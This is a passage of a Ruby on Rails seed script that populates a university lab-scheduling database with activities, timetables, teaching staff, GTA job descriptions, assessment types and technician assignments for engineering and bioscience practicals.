ActivityTech.where(activity_id: a595.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a595.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a596 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"unknowncode73\").first_or_create!(name: \"Polymers and hydrogels\",\n name_abrv: \"POLY&HYDROGELS\", archived: true, in_drive: false, user_id: 4)\n at596 = ActivityTimetable.where(activity_id: a596.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a596.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a596.id).first_or_create!(criteria: \"\",\n job_desc:\"Investigating the properties of polymers, including hydrogels, and immobilizing yeast in alginate beads.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a596.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a596.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a596.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a597 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"unknowncode74\").first_or_create!(name: \"Gel electrophoresis\",\n name_abrv: \"GELELEC\", archived: true, in_drive: false, user_id: 2)\n at597 = ActivityTimetable.where(activity_id: a597.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a597.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a597.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins by SDS-PAGE\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a597.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a597.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a597.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a598 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"unknowncode75\").first_or_create!(name: \"Western blotting\",\n name_abrv: \"WESTBLOT\", archived: true, in_drive: false, user_id: 4)\n at598 = ActivityTimetable.where(activity_id: a598.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a598.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a598.id).first_or_create!(criteria: \"\",\n job_desc:\"Western Blotting\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a598.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a598.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a598.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a599 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode76\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: true, in_drive: false, user_id: 2)\n at599 = ActivityTimetable.where(activity_id: a599.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a599.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a599.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a599.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a599.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a599.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a600 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode77\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: true, in_drive: false, user_id: 4)\n at600 = ActivityTimetable.where(activity_id: a600.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a600.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a600.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a600.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a600.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a600.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a601 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"unknowncode78\").first_or_create!(name: \"Mammalian cell culture\",\n name_abrv: \"MAMMALIAN\", archived: true, in_drive: false, user_id: 2)\n at601 = ActivityTimetable.where(activity_id: a601.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a601.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a601.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a601.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a601.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a601.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a602 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"unknowncode79\").first_or_create!(name: \"Enzyme activity\",\n name_abrv: \"ENZYME\", archived: true, in_drive: false, user_id: 4)\n at602 = ActivityTimetable.where(activity_id: a602.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a602.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a602.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a602.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a602.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a602.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a603 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1410\").first.id, code: \"unknowncode80\").first_or_create!(name: \"Protein detection\",\n name_abrv: \"PROTEIN\", archived: true, in_drive: false, user_id: 1)\n at603 = ActivityTimetable.where(activity_id: a603.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blb.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a603.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a603.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a603.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a603.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a603.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a604 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"415\").first_or_create!(name: \"Measurement lab plus\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at604 = ActivityTimetable.where(activity_id: a604.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a604.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a604.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a604.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a604.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a605 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"521\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at605 = ActivityTimetable.where(activity_id: a605.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a605.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a605.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a605.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a605.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a606 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR199\").first.id, code: \"432\").first_or_create!(name: \"Stokes Law and Viscosity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at606 = ActivityTimetable.where(activity_id: a606.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a606.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a606.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a606.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a606.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a606.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a607 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE340\").first.id, code: \"129\").first_or_create!(name: \"Continuous Manufacturing of pharmaceutical tablets\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at607 = ActivityTimetable.where(activity_id: a607.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 8, pref_room_id: $room_pp.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a607.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a607.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. As a GTA, training will be provided for the experiments, and you will be assisting students to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a607.id).first_or_create!(assess_weight: 10.0, notes: \"in post lab, students will be asked to answer few question and submit this as an assignment through Blackboard\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a607.id).first_or_create!(cost_per_student: nil, equip_needed: \"Consigma line, ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a607.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a608 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR332\").first.id, code: \"241\").first_or_create!(name: \"inspection of welds\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at608 = ActivityTimetable.where(activity_id: a608.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a608.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a608.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a608.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a608.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a608.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a609 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC455\").first.id, code: \"542\").first_or_create!(name: \"TBC\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at609 = ActivityTimetable.where(activity_id: a609.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a609.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a609.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a609.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a609.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n\n\n a610 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC455\").first.id, code: \"543\").first_or_create!(name: \"TBC\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at610 = ActivityTimetable.where(activity_id: a610.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"ACME535MEC445 should be completed before attending this lab\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a610.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a610.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a610.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a610.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a611 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"241\").first_or_create!(name: \"Control Systems Analysis\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at611 = ActivityTimetable.where(activity_id: a611.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a611.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a611.id).first_or_create!(criteria: \"Understanding of physical systems modeling, the analysis of 1st and 2nd order systems, bode diagrams and root locus plots\",\n job_desc:\"This laboratory involves analysis of s-domain control systems using bode diagrams and root locus plots, an understanding of stability margins and control system types.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a611.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a611.id).first_or_create!(cost_per_student: nil, equip_needed: \"Loads\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a612 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"429\").first_or_create!(name: \"Weirs\",\n name_abrv: \"WEIRS\", archived: false, in_drive: false, user_id: 5)\n at612 = ActivityTimetable.where(activity_id: a612.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a612.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yxbxl4o9\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a612.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a612.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a612.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a612.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a613 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"430\").first_or_create!(name: \"Fluidic Carousel\",\n name_abrv: \"FUNLAB\", archived: false, in_drive: true, user_id: 3)\n at613 = ActivityTimetable.where(activity_id: a613.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a613.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y3kowsbv\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a613.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a613.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a613.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a613.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a614 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"unknowncode81\").first_or_create!(name: \"Name that Gas\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at614 = ActivityTimetable.where(activity_id: a614.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a614.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a614.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a614.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a614.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a614.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a615 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE6100\").first.id, code: \"1\").first_or_create!(name: \"FCE6100\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at615 = ActivityTimetable.where(activity_id: a615.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a615.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a615.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a615.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a615.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a616 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"130\").first_or_create!(name: \"Consigma Front Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at616 = ActivityTimetable.where(activity_id: a616.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a616.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a616.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n 